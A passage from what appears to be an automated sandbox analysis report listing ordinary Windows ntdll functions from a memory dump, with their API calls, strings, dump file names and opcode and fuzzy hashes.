Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEventObjectOpenSingleWait
String ID: \KernelObjects\SystemErrorPortReady
API String ID: 2739627308-2278496901
Opcode ID: ebf386f83699e9b0f59ee9f62738bf3ce54ee4fb7677f58cbc6d7a2362d3429b
Instruction ID: ef10d1f3335256b9b8a1d720b8628ae07734cd729d8e38290de2fae8871f69c8
Opcode Fuzzy Hash: ebf386f83699e9b0f59ee9f62738bf3ce54ee4fb7677f58cbc6d7a2362d3429b
Instruction Fuzzy Hash: B7113376D1012CAADB10CFA99845EDEFBB8EF85214F10415BE914F3250E7754A05CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 6B47429E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51librarynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\DllNXOptions,?,?,00000000), ref: 6B4742C7

Part of subcall function 6B4B0F48: ZwOpenKey.1105(?,?,00000018), ref: 6B4B1015

ZwClose.1105(?,?,?,?,\DllNXOptions,?,?,00000000), ref: 6B4D068E
LdrQueryImageFileKeyOption.1105(?,?,00000004,?,00000004,?,?,?,00000000), ref: 6B4D06A6

Strings

\DllNXOptions, xrefs: 6B4742BE

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileImageInitOpenOptionQueryStringUnicode
String ID: \DllNXOptions
API String ID: 166309601-742623237
Opcode ID: 3e07d1ca73a6997e85d6801131c810fba2af3538b0f2b6efb3ac6ad17448f19b
Instruction ID: c2ecbded33eb523114fe2910f7218780106ae8b8cf502b0daac0c6a2ad20944f
Opcode Fuzzy Hash: 3e07d1ca73a6997e85d6801131c810fba2af3538b0f2b6efb3ac6ad17448f19b
Instruction Fuzzy Hash: 3D01FC76A001187BDB10D76C9D10EDF776CDF86368F1000A6EA04AB240D7749E0183F1

Uniqueness

Uniqueness Score: -1.00%

Function 6B47F4E3, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15nativeCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6B567B60,00000000,6B4808CF,?,?,?,?,?,?,6B4D0AF4,?), ref: 6B47F4FC
RtlLeaveCriticalSection.1105(6B567B60,6B567B60,00000000,6B4808CF,?,?,?,?,?,?,6B4D0AF4,?), ref: 6B47F509
ZwSetEvent.1105(00000000,6B567B60,6B567B60,00000000,6B4808CF,?,?,?,?,?,?,6B4D0AF4,?), ref: 6B47F516

Strings

`{Vk, xrefs: 6B47F4EF

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: `{Vk
API String ID: 3094578987-1950870956
Opcode ID: 63b95d64894f88da2bcdcaac607e4f0ccdec6d41bb48b87bc5922fe568109bbb
Instruction ID: dec482498bd50fa54c8ab9dcacf5e7c23e09bb676483e9e421d5a925a26efc78
Opcode Fuzzy Hash: 63b95d64894f88da2bcdcaac607e4f0ccdec6d41bb48b87bc5922fe568109bbb
Instruction Fuzzy Hash: 1BD05E32661225A6EB209734DC81FE43294AB06324F1108B8AF00229B17B3CA88142EC

Uniqueness

Uniqueness Score: -1.00%

Function 6B488800, Relevance: 6.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

APIs

memcmp.1105(6B5684DC,6B451184,00000010,-00000054,?,00000000,00000001,?,6B5652D8), ref: 6B4888A8
RtlAcquireSRWLockExclusive.1105(6B5686CC,-00000054,?,00000000,00000001,?,6B5652D8), ref: 6B488901
RtlReleaseSRWLockExclusive.1105(6B5686CC,6B5686CC,-00000054,?,00000000,00000001,?,6B5652D8), ref: 6B488933
RtlAcquireSRWLockExclusive.1105(6B5686CC,-00000054,?,00000000,00000001,?,6B5652D8), ref: 6B4D9C65

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Acquire$Releasememcmp
String ID:
API String ID: 2792186644-0
Opcode ID: 1ad573f2354effa96523752c76d49ef972b962252bdaf23900060bd0d6f5d8ba
Instruction ID: ae6b93d01e39738a99f53bb283df6e7a16c599abdd5128fde50cf358a52e7c5b
Opcode Fuzzy Hash: 1ad573f2354effa96523752c76d49ef972b962252bdaf23900060bd0d6f5d8ba
Instruction Fuzzy Hash: 1851B071A1020ADFEF08CF58D491EAA77B1FF85304F5140AAD815AB255EB38EA45CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6B53B581, Relevance: 6.2, APIs: 4, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6B4CFC28), ref: 6B53B6C4
RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6B4CFC28), ref: 6B53B6F0
RtlGetCurrentServiceSessionId.1105 ref: 6B53B726
ZwTraceEvent.1105(?,00000402,00000004,?), ref: 6B53B75E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$EventTrace
String ID:
API String ID: 4061387822-0
Opcode ID: 56899d1a150efe5ee48ff2903fa3205bd6afd73bd9d5ebab20c8e22f4ec28a2d
Instruction ID: ca1912d880fea5de09769374aca6f71575d0268b52353fc3841e4c36e873c2a8
Opcode Fuzzy Hash: 56899d1a150efe5ee48ff2903fa3205bd6afd73bd9d5ebab20c8e22f4ec28a2d
Instruction Fuzzy Hash: E551C032605B628BE301DF28C551BA6B7E0FF81708F1409ADA9558B391FB79E846CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6B471AA0, Relevance: 6.1, APIs: 4, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.1105(?,00000008,00000000,?,00000000,?,?,00000000,C0000017), ref: 6B471B1E
ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00002000,00000004,00000000,?,?,00000000,C0000017,?,?,6B4716E0), ref: 6B471B83
ZwAllocateVirtualMemory.1105(000000FF,6B4716E0,00000000,C0000017,00001000,00000004,00000000,?,?,00000000,C0000017,?,?,6B4716E0), ref: 6B471BBD
RtlAllocateHeap.1105(?,00000008,?,00000000,?,?,00000000,C0000017), ref: 6B471BD8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Allocate$HeapMemoryVirtual
String ID:
API String ID: 1343662020-0
Opcode ID: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction ID: 98c0ad5cd828788c33e4ab2a0f0c64c1975089d4ee2512538a86b415b431ff69
Opcode Fuzzy Hash: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction Fuzzy Hash: AB412B71A04615EFDB24DFA9C990E9AB7F4FF08700B1045BDE556DB650E334EA04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B47F018, Relevance: 6.1, APIs: 4, Instructions: 95memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6B47F05B
ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B47F07A
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B47F0AB
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B47F0CB

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy
String ID:
API String ID: 125101864-0
Opcode ID: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction ID: 3b38c9796837abd55131d4c58d861261d987ab23a62eefa67592e2cc6a7401c3
Opcode Fuzzy Hash: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction Fuzzy Hash: A031C372A425C4AFEB21EE58C980F9A73B9EB45B54F1180B9ED149B300D73DDD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B476730, Relevance: 6.1, APIs: 4, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6B47674F
RtlGetCurrentServiceSessionId.1105(00000001), ref: 6B47677C
RtlDebugPrintTimes.1105(?,?,?,?,00000001), ref: 6B4767B1
RtlGetCurrentServiceSessionId.1105 ref: 6B4767B9

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$DebugPrintTimes
String ID:
API String ID: 286911700-0
Opcode ID: bd34eb83e9e9f45863354f6f7b10b65c873a8f6c638a4e61ccc11dd85c504e6f
Instruction ID: 11ea4257ad01e9a73c0b7ea89a99bebc39c6920738bb4b02956d25ab3a98ab43
Opcode Fuzzy Hash: bd34eb83e9e9f45863354f6f7b10b65c873a8f6c638a4e61ccc11dd85c504e6f
Instruction Fuzzy Hash: 5731AC35605A05AFDB11AB38DA91F9ABBA2FF85B54F005065EC0047B64DB39EC30CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A1DB5, Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

RtlQueryInformationActivationContext.1105(-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?,?,?,00000040,-00000054,00000000), ref: 6B4A1DF7
RtlQueryInformationActivationContext.1105(-40000003,-00000054,00000000,00000006,00000000,00000000,00000000,-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?), ref: 6B4A1E36

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContextInformationQuery
String ID:
API String ID: 2130846384-0
Opcode ID: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction ID: 85afca9150ef5c6ce9cbc4920f3001247c6bcac2d905f7281c7b43fbf773d633
Opcode Fuzzy Hash: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction Fuzzy Hash: C7219F71640128FBD710CF59DC80F9BBBB9EF96744F114095E90497610D738AE11CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B54F1B5, Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,-0000000B,00000002,00000001,00000000,6B4AFE70,00000000), ref: 6B54F1EC

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fcff1ee68fbf53848f32faab37a3ae7f9c1f807d27df87954dbf36b2aa476ced
Instruction ID: 7a89a6514ee1661b920ce99dfd92f4628f119058bab2e90934e4371243b43df8
Opcode Fuzzy Hash: fcff1ee68fbf53848f32faab37a3ae7f9c1f807d27df87954dbf36b2aa476ced
Instruction Fuzzy Hash: 2F21D07AA04A14ABEB21CF5DDC84F8ABBB4FF46750F0140A5E9089B210D738ED00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A3B7A, Relevance: 6.1, APIs: 4, Instructions: 75memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B4A3BB0
ZwQuerySystemInformationEx.1105(0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B4A3BCF
memset.1105(6B4E43AB,00000000,?,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B4A3BEA
RtlFreeHeap.1105(?,?,00000000,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6B4A3C30

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeInformationQuerySystemmemset
String ID:
API String ID: 21860560-0
Opcode ID: a15f874136b15856935ad9db7e4588ca3674a87f18222d2ccba77aeb52f2e7c9
Instruction ID: 7f494417af4e900b3d67b47f281cf100a3aa0e61c90d6876976b3dbee31539e1
Opcode Fuzzy Hash: a15f874136b15856935ad9db7e4588ca3674a87f18222d2ccba77aeb52f2e7c9
Instruction Fuzzy Hash: AE2162B2A00104AFDB14DF58CD81FAAB7BDFB45749F150069E608AB251E775ED11CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A18B9, Relevance: 6.1, APIs: 4, Instructions: 75nativetimeCOMMON

Download Yara Rule

APIs

ZwCreateTimer2.1105(00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6B4A18E6
ZwCreateWaitCompletionPacket.1105(0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6B4A18F6
ZwAssociateWaitCompletionPacket.1105(?,00000000,00000058,00000060,?,00000000,?,?,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002), ref: 6B4A1926
ZwClose.1105(00000058,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6B4E5690

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CompletionCreatePacketWait$AssociateCloseTimer2
String ID:
API String ID: 56835937-0
Opcode ID: 98ddf8f7e5e8f527e0c846ab472c934a5dd5eb775acec04d9f4d5e2f6ae5cd6d
Instruction ID: c3fbec041713bec3bf946cb393e16aa42e7ca7260f42fb5b9af06316014389dc
Opcode Fuzzy Hash: 98ddf8f7e5e8f527e0c846ab472c934a5dd5eb775acec04d9f4d5e2f6ae5cd6d
Instruction Fuzzy Hash: CF2151B150020ABFD700CF69C881EA6BBB8FF49348F10846EE64497241D775A966CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B506652, Relevance: 6.1, APIs: 4, Instructions: 74memorynativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,00000000,00000000,00000000,?,?,6B4EB381,00000001,6B56861C,6B550268,00000020,6B48BE44,?,00000000,?,00000001), ref: 6B50668C
RtlAllocateHeap.1105(?,00000008,?,00000000,00000000,00000000,?,?,6B4EB381,00000001,6B56861C,6B550268,00000020,6B48BE44,?,00000000), ref: 6B5066D0

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCloseHeap
String ID:
API String ID: 3565931908-0
Opcode ID: 93c4877f8e87a2aba25fa516430ef70b18f2c3fab1e3522358b33b3aad4dfc66
Instruction ID: 7f7c390750fe0e3440f83c472a20b7eee2bdca693962b779b9b8db5fedba3a4f
Opcode Fuzzy Hash: 93c4877f8e87a2aba25fa516430ef70b18f2c3fab1e3522358b33b3aad4dfc66
Instruction Fuzzy Hash: 97218172600B11ABF6114F689841B95B778BB12768F010365EC3097695DBBAE8D1C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6B474DC0, Relevance: 6.1, APIs: 4, Instructions: 73nativeCOMMON

Download Yara Rule

APIs

RtlWakeAddressAllNoFence.1105(00000000), ref: 6B474DE8
RtlRaiseStatus.1105(00000000,?,?,?,6B48EBD0,?,?,?,?,00000000,?,6B471E03,?,6B471D6E,?), ref: 6B474E04
ZwAlpcQueryInformation.1105(?,0000000B,FFFFFFFE,00000004,00000000,00000000,000000FF,?,?,00000000,?,?,?,6B48EBD0,?,?), ref: 6B4D0B73

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressAlpcFenceInformationQueryRaiseStatusWake
String ID:
API String ID: 3812654406-0
Opcode ID: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction ID: 81c61ff4b926ff4f152a64273d89cd179a2d6c78a82d003c53b9b1709de227b3
Opcode Fuzzy Hash: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction Fuzzy Hash: FD11E731640304BBE724EA75CC52FEB739D9F45764F10056EE91197680EB79EA00C2E5

Uniqueness

Uniqueness Score: -1.00%

Function 6B508372, Relevance: 6.1, APIs: 4, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,?,00000000,00000000), ref: 6B50839C
RtlStringFromGUIDEx.1105(?,?,00000001,?,00000000,00000000), ref: 6B5083B9
ZwCreateKey.1105(?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6B5083F5
RtlFreeUnicodeString.1105(?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6B508400

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$CloseCreateFreeFromUnicode
String ID:
API String ID: 4294597832-0
Opcode ID: 8b58a3256639c1b1ca4127e155a411ecbede87e62a1ffd2312dcd722a22e733c
Instruction ID: 517c90eddce1e25827711fb639d3e28d0b935eafe4ec198a5b456f1fe5677fea
Opcode Fuzzy Hash: 8b58a3256639c1b1ca4127e155a411ecbede87e62a1ffd2312dcd722a22e733c
Instruction Fuzzy Hash: 2621FCB1D0121DABDB04DFA5C885EEFBBB8EB44314F10416AE910E7240EB75AD048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B3EE4, Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,00000028,?,?,6B4D8546), ref: 6B4B3F07
RtlGetLocaleFileMappingAddress.1105(00000000,6B5665D4,6B4D8546,?,00000008,00000028,?,?,6B4D8546), ref: 6B4B3F23

Part of subcall function 6B4B3FA0: ZwInitializeNlsFiles.1105(00000028,00000008,?,?,?,00000000,?,6B4B3F28,00000000,6B5665D4,6B4D8546,?,00000008,00000028,?), ref: 6B4B3FCD

RtlFreeHeap.1105(?,00000000,00000000,00000000,6B5665D4,6B4D8546,?,00000008,00000028,?,?,6B4D8546), ref: 6B4EE7D3
RtlFreeHeap.1105(?,00000000,00000000,00000000,6B5665D4,6B4D8546,?,00000008,00000028,?,?,6B4D8546), ref: 6B4EE7EB

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$AddressAllocateFileFilesInitializeLocaleMapping
String ID:
API String ID: 1831200515-0
Opcode ID: db1ba00e0c11db2d49d38e59c1ef4587b65c587097a93c811f469261896a2c8a
Instruction ID: e07e2301366cd378906b4f1cb1597dea07d39b96ecb2edd462cc1dab29e32eba
Opcode Fuzzy Hash: db1ba00e0c11db2d49d38e59c1ef4587b65c587097a93c811f469261896a2c8a
Instruction Fuzzy Hash: CB21BA39641A009FC724DF29C941F52B7F5AF18708F1445ADE549CBB21E738E843CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6B47519E, Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6B4752A5: RtlEnterCriticalSection.1105(6B5679A0,?,00000000,?), ref: 6B4752BF
Part of subcall function 6B4752A5: RtlLeaveCriticalSection.1105(6B5679A0,6B5679A0,?,00000000,?), ref: 6B4752DD

RtlEqualUnicodeString.1105(?,?,00000001,?,?,?), ref: 6B4D0CCB
RtlLeaveCriticalSection.1105(6B5679A0,?,?,?), ref: 6B4D0CE4

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$EnterEqualStringUnicode
String ID:
API String ID: 4283003422-0
Opcode ID: 0888eed0e65c2ea6fe672ed464a39c614e663f16160a65b1a6c9959cc580347e
Instruction ID: 2e16a6e0176aebbbe035cf8e3a3f2f3e6756149a49b342cfc6531c1a7e335c1a
Opcode Fuzzy Hash: 0888eed0e65c2ea6fe672ed464a39c614e663f16160a65b1a6c9959cc580347e
Instruction Fuzzy Hash: 881124319512009BCB24AF38C470FEABBE5EF16B11F5001AAE9459B380EB3DC842C690

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A3B5A, Relevance: 6.1, APIs: 4, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.1105(?,?,?,6B4A3AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B4E6208
RtlFreeHeap.1105(?,?,?,6B4A3AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B4E622C
RtlFreeHeap.1105(?,?,?,6B4A3AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B4E6250
RtlFreeHeap.1105(?,?,00000000,6B4A3AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6B4E626D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: bca0dc15974b7ce85c39b6e5d91a82009513d8b13650c9e7d850ebcad4b77d00
Instruction ID: c0d5a2bc5a583ba1e6505548f9c6d273a248ee386a8e41349b6cb757afadc548
Opcode Fuzzy Hash: bca0dc15974b7ce85c39b6e5d91a82009513d8b13650c9e7d850ebcad4b77d00
Instruction Fuzzy Hash: A1112536A41550DFCB29EB48CA40F6A77B9FB08A05F0600ACE805A7762D738EC01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6B47A745, Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,6B4ADFD8,00000000,?,?,?,?,?,6B473DAD,?,00000000,6B54F4D0,00000084), ref: 6B47A757
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6B4ADFD8,00000000,?,?,?,?,?,6B473DAD,?,00000000,6B54F4D0), ref: 6B47A774
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6B4ADFD8,00000000,?,?,?,?,?,6B473DAD,?,00000000,6B54F4D0), ref: 6B4D442E
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,6B4ADFD8,00000000,?,?,?,?,?,6B473DAD), ref: 6B4D443F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap
String ID:
API String ID: 2563869513-0
Opcode ID: 53fdc42e5bd5a688db2fcde03d2e70220f21fd9b26a183c9f8044a63f427c078
Instruction ID: 3aeef6b16433f1a7fe362b849a70fe227d01aee2c248183cb6b1ce906f9c4eb4
Opcode Fuzzy Hash: 53fdc42e5bd5a688db2fcde03d2e70220f21fd9b26a183c9f8044a63f427c078
Instruction Fuzzy Hash: 9001A2725412019BC310AB3DDC11F55B7ACEF43329B0546AAE108CB362DB7CD841CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6B51EB8A, Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 599timeCOMMON

Download Yara Rule

APIs

